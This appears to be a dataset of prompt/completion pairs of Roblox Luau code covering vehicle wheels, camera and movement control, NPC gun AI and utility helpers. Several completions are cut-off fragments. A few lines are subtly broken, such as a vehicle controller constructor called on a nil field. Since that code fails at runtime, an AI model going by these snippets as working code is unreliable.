prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[Wheel Configuration]] |
--Store Reference Orientation Function
function getParts(model,t,a)
for i,v in pairs(model:GetChildren()) do
if v:IsA("BasePart") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)})
elseif v:IsA("Model") then getParts(v,t,a)
end
end
end
--PGS/Legacy
local fDensity = _Tune.FWheelDensity
local rDensity = _Tune.RWheelDensity
if not PGS_ON then
fDensity = _Tune.FWLgcyDensity
rDensity = _Tune.RWLgcyDensity
end
for _,v in pairs(Drive) do
--Apply Wheel Density
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
fDensity,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
end
else
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
rDensity,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
end
end
--Resurface Wheels
for _,a in pairs({"Top","Bottom","Left","Right","Front","Back"}) do
v[a.."Surface"]=Enum.SurfaceType.SmoothNoOutlines
end
--Store Axle-Anchored/Suspension-Anchored Part Orientation
local WParts = {}
local tPos = v.Position-car.DriveSeat.Position
if v.Name=="FL" or v.Name=="RL" then
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))
else
v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))
end
v.CFrame = v.CFrame+tPos
if v:FindFirstChild("Parts")~=nil then
getParts(v.Parts,WParts,v)
end
if v:FindFirstChild("Fixed")~=nil then
getParts(v.Fixed,WParts,v)
end
--Align Wheels
if v.Name=="FL" or v.Name=="FR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0)
if v.Name=="FL" then
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.FToe))
else
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.FToe))
end
elseif v.Name=="RL" or v.Name=="RR" then
v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0)
if v.Name=="RL" then
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.RToe))
else
v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.RToe))
end
end
--Re-orient Axle-Anchored/Suspension-Anchored Parts
for _,a in pairs(WParts) do
a[1].CFrame=v.CFrame:toWorldSpace(a[2])
end
|
--[[**
ensures Roblox BrickColor type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.BrickColor = t.typeof("BrickColor")
|
-- Choose current Touch control module based on settings (user, dev)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable |
function ControlModule:SelectTouchModule(): ({}?, boolean)
if not UserInputService.TouchEnabled then
return nil, false
end
local touchModule
local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode
if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then
touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
return nil, true
else
touchModule = movementEnumToModuleMap[DevMovementMode]
end
return touchModule, true
end
local function calculateRawMoveVector(humanoid: Humanoid, cameraRelativeMoveVector: Vector3): Vector3
local camera = Workspace.CurrentCamera
if not camera then
return cameraRelativeMoveVector
end
if humanoid:GetState() == Enum.HumanoidStateType.Swimming then
return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)
end
local cameraCFrame = camera.CFrame
if VRService.VREnabled and humanoid.RootPart then
-- movement relative to VR frustum
local cameraDelta = humanoid.RootPart.CFrame.Position - cameraCFrame.Position
if cameraDelta.Magnitude < 3 then -- "nearly" first person
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
cameraCFrame = cameraCFrame * vrFrame
end
end
local c, s
local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = cameraCFrame:GetComponents()
if R12 < 1 and R12 > -1 then
-- X and Z components from back vector.
c = R22
s = R02
else
-- In this case the camera is looking straight up or straight down.
-- Use X components from right and up vectors.
c = R00
s = -R01*math.sign(R12)
end
local norm = math.sqrt(c*c + s*s)
return Vector3.new(
(c*cameraRelativeMoveVector.X + s*cameraRelativeMoveVector.Z)/norm,
0,
(c*cameraRelativeMoveVector.Z - s*cameraRelativeMoveVector.X)/norm
)
end
function ControlModule:OnRenderStepped(dt)
if self.activeController and self.activeController.enabled and self.humanoid then
-- Give the controller a chance to adjust its state
self.activeController:OnRenderStepped(dt)
-- Now retrieve info from the controller
local moveVector = self.activeController:GetMoveVector()
local cameraRelative = self.activeController:IsMoveVectorCameraRelative()
local clickToMoveController = self:GetClickToMoveController()
if self.activeController ~= clickToMoveController then
if moveVector.magnitude > 0 then
-- Clean up any developer started MoveTo path
clickToMoveController:CleanupPath()
else
-- Get move vector for developer started MoveTo
clickToMoveController:OnRenderStepped(dt)
moveVector = clickToMoveController:GetMoveVector()
cameraRelative = clickToMoveController:IsMoveVectorCameraRelative()
end
end
-- Are we driving a vehicle ?
local vehicleConsumedInput = false
if self.vehicleController then
moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)
end
-- If not, move the player
-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior,
-- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat
--if not vehicleConsumedInput then
if cameraRelative then
moveVector = calculateRawMoveVector(self.humanoid, moveVector)
end
self.moveFunction(Players.LocalPlayer, moveVector, false)
--end
-- And make them jump if needed
self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
end
end
function ControlModule:OnHumanoidSeated(active: boolean, currentSeatPart: BasePart)
if active then
if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then
if not self.vehicleController then
self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)
end
self.vehicleController:Enable(true, currentSeatPart)
end
else
if self.vehicleController then
self.vehicleController:Enable(false, currentSeatPart)
end
end
end
function ControlModule:OnCharacterAdded(char)
self.humanoid = char:FindFirstChildOfClass("Humanoid")
while not self.humanoid do
char.ChildAdded:wait()
self.humanoid = char:FindFirstChildOfClass("Humanoid")
end
self:UpdateTouchGuiVisibility()
if self.humanoidSeatedConn then
self.humanoidSeatedConn:Disconnect()
self.humanoidSeatedConn = nil
end
self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart)
self:OnHumanoidSeated(active, currentSeatPart)
end)
end
function ControlModule:OnCharacterRemoving(char)
self.humanoid = nil
self:UpdateTouchGuiVisibility()
end
function ControlModule:UpdateTouchGuiVisibility()
if self.touchGui then
local doShow = self.humanoid and GuiService.TouchControlsEnabled
self.touchGui.Enabled = not not doShow -- convert to bool
end
end
|
--------------------------CHARACTER CONTROL------------------------------- |
local CurrentIgnoreList
local CurrentIgnoreTag = nil
local TaggedInstanceAddedConnection = nil
local TaggedInstanceRemovedConnection = nil
local function GetCharacter()
return Player and Player.Character
end
local function UpdateIgnoreTag(newIgnoreTag)
if newIgnoreTag == CurrentIgnoreTag then
return
end
if TaggedInstanceAddedConnection then
TaggedInstanceAddedConnection:Disconnect()
TaggedInstanceAddedConnection = nil
end
if TaggedInstanceRemovedConnection then
TaggedInstanceRemovedConnection:Disconnect()
TaggedInstanceRemovedConnection = nil
end
CurrentIgnoreTag = newIgnoreTag
CurrentIgnoreList = {GetCharacter()}
if CurrentIgnoreTag ~= nil then
local ignoreParts = CollectionService:GetTagged(CurrentIgnoreTag)
for _, ignorePart in ipairs(ignoreParts) do
table.insert(CurrentIgnoreList, ignorePart)
end
TaggedInstanceAddedConnection = CollectionService:GetInstanceAddedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
table.insert(CurrentIgnoreList, ignorePart)
end)
TaggedInstanceRemovedConnection = CollectionService:GetInstanceRemovedSignal(
CurrentIgnoreTag):Connect(function(ignorePart)
for i = 1, #CurrentIgnoreList do
if CurrentIgnoreList[i] == ignorePart then
CurrentIgnoreList[i] = CurrentIgnoreList[#CurrentIgnoreList]
table.remove(CurrentIgnoreList)
break
end
end
end)
end
end
local function getIgnoreList()
if CurrentIgnoreList then
return CurrentIgnoreList
end
CurrentIgnoreList = {}
table.insert(CurrentIgnoreList, GetCharacter())
return CurrentIgnoreList
end
local function minV(a, b)
return Vector3.new(math.min(a.X, b.X), math.min(a.Y, b.Y), math.min(a.Z, b.Z))
end
local function maxV(a, b)
return Vector3.new(math.max(a.X, b.X), math.max(a.Y, b.Y), math.max(a.Z, b.Z))
end
local function getCollidableExtentsSize(character)
if character == nil or character.PrimaryPart == nil then return end
local toLocalCFrame = character.PrimaryPart.CFrame:inverse()
local min = Vector3.new(math.huge, math.huge, math.huge)
local max = Vector3.new(-math.huge, -math.huge, -math.huge)
for _,descendant in pairs(character:GetDescendants()) do
if descendant:IsA('BasePart') and descendant.CanCollide then
local localCFrame = toLocalCFrame * descendant.CFrame
local size = Vector3.new(descendant.Size.X / 2, descendant.Size.Y / 2, descendant.Size.Z / 2)
local vertices = {
Vector3.new( size.X, size.Y, size.Z),
Vector3.new( size.X, size.Y, -size.Z),
Vector3.new( size.X, -size.Y, size.Z),
Vector3.new( size.X, -size.Y, -size.Z),
Vector3.new(-size.X, size.Y, size.Z),
Vector3.new(-size.X, size.Y, -size.Z),
Vector3.new(-size.X, -size.Y, size.Z),
Vector3.new(-size.X, -size.Y, -size.Z)
}
for _,vertex in ipairs(vertices) do
local v = localCFrame * vertex
min = minV(min, v)
max = maxV(max, v)
end
end
end
local r = max - min
if r.X < 0 or r.Y < 0 or r.Z < 0 then return nil end
return r
end
|
-- Preload animations |
function playAnimation(animName, transitionTime, humanoid)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end |
-- variables |
local shots = {}
local cancels = {}
|
-- [[ VR Support Section ]] -- |
function BaseCamera:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local rootJoint = self.humanoidRootPart and self.humanoidRootPart:FindFirstChild("RootJoint")
if not rootJoint then
return
end
local cameraSubject = game.Workspace.CurrentCamera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat")
if self.inFirstPerson and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
function BaseCamera:IsInFirstPerson()
return self.inFirstPerson
end
function BaseCamera:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not self.VRRotationIntensityAvailable and tick() - self.lastVRRotationIntensityCheckTime < 1 then
return false
end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
self.VRRotationIntensityAvailable = success and vrRotationIntensity ~= nil
self.lastVRRotationIntensityCheckTime = tick()
self.shouldUseVRRotation = success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
return self.shouldUseVRRotation
end
function BaseCamera:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
if not success then
return
end
local vrGamepadRotation = ZERO_VECTOR2
local delayExpired = (tick() - self.lastVRRotationTime) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
self.vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
self.vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
if vrRotateSum ~= ZERO_VECTOR2 then
self.lastVRRotationTime = tick()
end
return vrRotateSum
end
function BaseCamera:CancelCameraFreeze(keepConstraints)
if not keepConstraints then
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 1, self.cameraTranslationConstraints.z)
end
if self.cameraFrozen then
self.trackingHumanoid = nil
self.cameraFrozen = false
end
end
function BaseCamera:StartCameraFreeze(subjectPosition, humanoidToTrack)
if not self.cameraFrozen then
self.humanoidJumpOrigin = subjectPosition
self.trackingHumanoid = humanoidToTrack
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 0, self.cameraTranslationConstraints.z)
self.cameraFrozen = true
end
end
function BaseCamera:OnNewCameraSubject()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if self.trackingHumanoid ~= humanoid then
self:CancelCameraFreeze()
end
if humanoid and humanoid:IsA("Humanoid") then
self.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then
self:StartCameraFreeze(self:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
self:CancelCameraFreeze(true)
end
end)
end
end
function BaseCamera:GetVRFocus(subjectPosition, timeDelta)
local lastFocus = self.LastCameraFocus or subjectPosition
if not self.cameraFrozen then
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + 0.42 * timeDelta), self.cameraTranslationConstraints.z)
end
local newFocus
if self.cameraFrozen and self.humanoidJumpOrigin and self.humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(self.humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, self.cameraTranslationConstraints.y))
end
if self.cameraFrozen then
-- No longer in 3rd person
if self.inFirstPerson then -- not VRService.VREnabled
self:CancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if self.humanoidJumpOrigin and subjectPosition.y < (self.humanoidJumpOrigin.y - 0.5) then
self:CancelCameraFreeze()
end
end
return newFocus
end
function BaseCamera:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function BaseCamera:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
function BaseCamera:Update(dt)
error("BaseCamera:Update() This is a virtual function that should never be getting called.", 2)
end
return BaseCamera
|
--[[*
* This class is a perf optimization for sorting the list of currently
* running tests. It tries to keep tests in the same positions without
* shifting the whole list.
]] |
type CurrentTestList = {
add: (self: CurrentTestList, testPath: Config_Path, config: Config_ProjectConfig) -> (),
delete: (self: CurrentTestList, testPath: Config_Path) -> (),
get: (self: CurrentTestList) -> Array<{
testPath: Config_Path,
config: Config_ProjectConfig,
}>,
}
local CurrentTestList = {}
CurrentTestList.__index = CurrentTestList
function CurrentTestList.new(): CurrentTestList
local self = setmetatable({}, CurrentTestList)
self._array = {}
return (self :: any) :: CurrentTestList
end
function CurrentTestList:add(testPath: Config_Path, config: Config_ProjectConfig): ()
local index = Array.indexOf(self._array, nil)
local record = { config = config, testPath = testPath }
if index ~= -1 then
self._array[index] = record
else
table.insert(self._array, record)
end
end
function CurrentTestList:delete(testPath: Config_Path): ()
local record = Array.find(self._array, function(record)
return record ~= nil and record.testPath == testPath
end)
self._array[Array.indexOf(self._array, Boolean.toJSBoolean(record) and record or nil)] = nil
end
function CurrentTestList:get(): Array<{
testPath: Config_Path,
config: Config_ProjectConfig,
}>
return self._array
end
type Cache = {
content: string,
clear: string,
}
|
--[[
A utility script that generates readable dates
]] |
local ReadableDate = {}
local DEFAULT_FORMAT = "$hour:$sec $day/$month/$year"
|
-- float rd_flt_be(string src, int s)
-- @src - Source binary string
-- @s - Start index of big endian float |
local function rd_flt_be(src, s)
local f1, f2, f3, f4 = string.byte(src, s, s + 3)
return rd_flt_basic(f4, f3, f2, f1)
end
|
--samy22 |
d = false
function onTouched(hit)
if d == false then
h = hit.Parent:findFirstChild("Torso")
if (h~=nil) then
d = true
gg = math.random(1,20)
if gg == 4 then
h.CFrame = h.CFrame * CFrame.Angles(0,0,math.rad(100))
end
if script.dmg.Value == true then
hum = h.Parent:findFirstChild("Humanoid")
if hum then
hum.Health = hum.Health - 25
end
end
wait(1.5)
d = false
end
end
end
script.Parent.Parent.Touched:connect(onTouched)
while true do
bt = script.Parent
ppp = bt.Parent:GetMass()
wait(.25)
bt.force = Vector3.new(0,0,500*ppp*script.mag.Value)
wait(.25)
bt.force = Vector3.new(0,0,-500*ppp*script.mag.Value)
end
|
-- { id = "slash.xml", weight = 10 } |
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
|
--]] |
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
spawn(function()
while wait() do
end
end)
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function GetTorso(part)
local chars = game.Workspace:GetChildren()
local torso = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
torso = charRoot
end
end
end
return torso
end
for _, zambieparts in pairs(ai:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(aiDamage)
end
end)
end
end
|
---------------------------------------------------------------|
---------------------------------------------------------------|
---------------------------------------------------------------| |
local Debris = game.Debris
local Engine = game.ReplicatedStorage:WaitForChild("ACS_Engine")
local Evt = Engine:WaitForChild("Eventos")
local ServerConfig = require(Engine.ServerConfigs:WaitForChild("Config"))
local Settings = script.Parent.ACS_Modulo:WaitForChild("Config")
local ACS_Storage = workspace:WaitForChild("ACS_WorkSpace")
local Modulos = Engine:WaitForChild("Modulos")
local Hitmarker = require(Modulos:WaitForChild("Hitmarker"))
local Ragdoll = require(Modulos:WaitForChild("Ragdoll"))
local Ignore_Model = ACS_Storage:FindFirstChild("Server")
local BulletModel = ACS_Storage:FindFirstChild("Client")
local Ray_Ignore = {Ignore_Model, BulletModel, ACS_Storage}
local Dead = false
wait(3)
script.Parent.ForceField:Destroy()
script.Parent.Humanoid.Died:connect(function()
Ragdoll(script.Parent)
if script.Parent:FindFirstChild("Gun") ~= nil then
script.Parent.Gun.CanCollide = true
end
Dead = true
Debris:AddItem(script.Parent,game.Players.RespawnTime)
end)
local CanSee = false
local CurrentPart = nil
function onTouched(hit)
if hit.Parent == nil then
return
end
local humanoid = hit.Parent:findFirstChild("Humanoid")
if humanoid == nil then
CurrentPart = hit
end
end
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then
return child
end
while true do
--print(childName)
child = parent.ChildAdded:wait()
if child.Name==childName then
return child
end
end
end
local Figure = script.Parent
local Humanoid = waitForChild(Figure, "Humanoid")
local Torso = waitForChild(Figure, "Torso")
local Left = waitForChild(Figure, "Left Leg")
local Right = waitForChild(Figure, "Right Leg")
Left.Touched:connect(onTouched)
Right.Touched:connect(onTouched)
function getHumanoid(model)
for _, v in pairs(model:GetChildren())do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.Torso
local head = zombie:FindFirstChild'Head'
local pfs = game:GetService("PathfindingService")
local players = game:GetService('Players')
local RecoilSpread = Spread/100
local perception = 0
local Memory = 0
wait(.1)
local ammo=Settings.Ammo.Value -- How much ammo the Enemy has
local w=.14
local RPM = 1/(FireRate/60)
local r=false
local t=script.Parent
local h=t:WaitForChild'Grip'
function Hitmaker(HitPart, Position, Normal, Material)
Evt.Hit:FireAllClients(nil,Position,HitPart,Normal,Material,nil)
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChild("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChild('Humanoid') then
L_227_ = L_225_arg1.Parent.Humanoid
elseif L_225_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent.Humanoid
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CalcularDano(DanoBase,Dist,Vitima,Type)
local damage = 0
local VestDamage = 0
local HelmetDamage = 0
local Traveleddamage = DanoBase-(math.ceil(Dist)/40)*FallOfDamage
if Vitima.Parent:FindFirstChild("Saude") ~= nil then
local Vest = Vitima.Parent.Saude.Protecao.VestVida
local Vestfactor = Vitima.Parent.Saude.Protecao.VestProtect
local Helmet = Vitima.Parent.Saude.Protecao.HelmetVida
local Helmetfactor = Vitima.Parent.Saude.Protecao.HelmetProtect
if Type == "Head" then
if Helmet.Value > 0 and (BulletPenetration) < Helmetfactor.Value then
damage = Traveleddamage * ((BulletPenetration)/Helmetfactor.Value)
HelmetDamage = (Traveleddamage * ((100 - BulletPenetration)/Helmetfactor.Value))
if HelmetDamage <= 0 then
HelmetDamage = 0.5
end
elseif Helmet.Value > 0 and (BulletPenetration) >= Helmetfactor.Value then
damage = Traveleddamage
HelmetDamage = (Traveleddamage * ((100 - BulletPenetration)/Helmetfactor.Value))
if HelmetDamage <= 0 then
HelmetDamage = 1
end
elseif Helmet.Value <= 0 then
damage = Traveleddamage
end
else
if Vest.Value > 0 and (BulletPenetration) < Vestfactor.Value then
damage = Traveleddamage * ((BulletPenetration)/Vestfactor.Value)
VestDamage = (Traveleddamage * ((100 - BulletPenetration)/Vestfactor.Value))
if VestDamage <= 0 then
VestDamage = 0.5
end
elseif Vest.Value > 0 and (BulletPenetration) >= Vestfactor.Value then
damage = Traveleddamage
VestDamage = (Traveleddamage * ((100 - BulletPenetration)/Vestfactor.Value))
if VestDamage <= 0 then
VestDamage = 1
end
elseif Vest.Value <= 0 then
damage = Traveleddamage
end
end
else
damage = Traveleddamage
end
if damage <= 0 then
damage = 1
end
return damage,VestDamage,HelmetDamage
end
function Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
if VitimaHuman.Parent:FindFirstChild("Saude") ~= nil then
local Colete = VitimaHuman.Parent.Saude.Protecao.VestVida
local Capacete = VitimaHuman.Parent.Saude.Protecao.HelmetVida
Colete.Value = Colete.Value - DanoColete
Capacete.Value = Capacete.Value - DanoCapacete
end
VitimaHuman:TakeDamage(Dano)
end
local function reload(boo)
if(boo and ammo ~= Settings.Ammo.Value)or ammo==0 then
r=true
if w then
w=.03
end
h.Reload:Play()
wait(3) -- How long the Enemy reloads
ammo= Settings.Ammo.Value
if w then
w=.14
end
r=false
elseif boo then
wait(.1)
end
end
local function near()
if not Dead then
local dis,pl= Settings.ShotDistance.Value ,nil -- Range of the Enemy
for _,v in ipairs(game.Players:GetPlayers())do
if v.Character and v.Character:FindFirstChild'Humanoid'and v:DistanceFromCharacter(h.Position)<dis then
dis,pl=v:DistanceFromCharacter(h.Position),v
end
end
if pl then
return pl.Character:GetModelCFrame(),dis,CFrame.new(pl.Character.Humanoid.WalkToPoint).lookVector
else
return nil
end
end
end
|
--[[Wheel Alignment]] |
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 0
Tune.RCamber = 0
Tune.FCaster = 0
Tune.RCaster = 0
Tune.FToe = 0
Tune.RToe = 0
|
-- Ammo |
plr.Character.ChildAdded:connect(function(oc)
if (oc:IsA("Tool") or oc:IsA("HopperBin")) and oc:FindFirstChild("Ammo") and oc:FindFirstChild("AmmoLeft") then
--gui.Ammo.Text = oc.Ammo.Value.."/"..oc.AmmoLeft.Value
oc.Ammo.Changed:connect(function(v)
--gui.Ammo.Text = oc.Ammo.Value.."/"..oc.AmmoLeft.Value
gui.Ammo.Text = ""
end)
oc.AmmoLeft.Changed:connect(function(v)
--gui.Ammo.Text = oc.Ammo.Value.."/"..oc.AmmoLeft.Value
gui.Ammo.Text = ""
end)
end
end)
plr.Character.ChildRemoved:connect(function(oc)
if (oc:IsA("Tool") or oc:IsA("HopperBin")) and oc:FindFirstChild("Ammo") and oc:FindFirstChild("AmmoLeft") then
gui.Ammo.Text = ""
end
end)
|
-- !! the marked -- things are optional ...delete these -- marks to give the function a random chance to be activated. | |
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Money.Gold.Value > 1 then
return true
end
return false
end
|
--[=[
Use to test that the given GuiObject or Rect is to the right of the other GuiObject or Rect.
The last argument is optional. If nil, the matcher will pass only if the difference **left** edge of the given GuiObject or Rect and the **right** edge of the other GuiObject or Rect is zero or positive.
Usage:
```lua
expect(a).toBeRightOf(b) -- Jest
expect(a).to.be.rightOf(b) -- TestEZ
```
.png)
```lua
expect(a).toBeRightOf(b, 5) -- Jest
expect(a).to.be.rightOf(b, 5) -- TestEZ
```
.png)
```lua
expect(a).toBeRightOf(b, NumberRange.new(0, 5)) -- Jest
expect(a).to.be.rightOf(b, NumberRange.new(0, 5)) -- TestEZ
```
).png)
@tag outside
@within CollisionMatchers2D
]=] |
local function rightOf(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)
local aRect = toRect(a)
local bRect = toRect(b)
local distanceFromSide = aRect.Min - bRect.Max
if distance then
if typeof(distance) == "number" then
distance = NumberRange.new(distance)
end
return returnValue(
distance.Min <= distanceFromSide.X and distance.Max >= distanceFromSide.X,
"Was within range",
"Was not within range ( " .. tostring(distance) .. ")"
)
else
return returnValue(distanceFromSide.X >= 0, "Was not left of the element", "Was to the left of the element")
end
end
return rightOf
|
--[=[
@return boolean
Returns `true` if the option has a value.
]=] |
function Option:IsSome()
return self._s
end
|
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website. |
module.BubbleChatEnabled = PlayersService.BubbleChat
module.ClassicChatEnabled = PlayersService.ClassicChat
|
--[[
Spawns a thread with predictable timing.
]] |
function Promise.spawn(callback, ...)
local args = { ... }
local length = select("#", ...)
local connection
connection = RunService.Heartbeat:Connect(function()
connection:Disconnect()
callback(unpack(args, 1, length))
end)
end
|
--[=[
Returns if a string starts with a postfix
@param str string
@param prefix string
@return boolean
]=] |
function String.startsWith(str: string, prefix: string): boolean
return str:sub(1, #prefix) == prefix
end
|
--[[Configuration]] | --
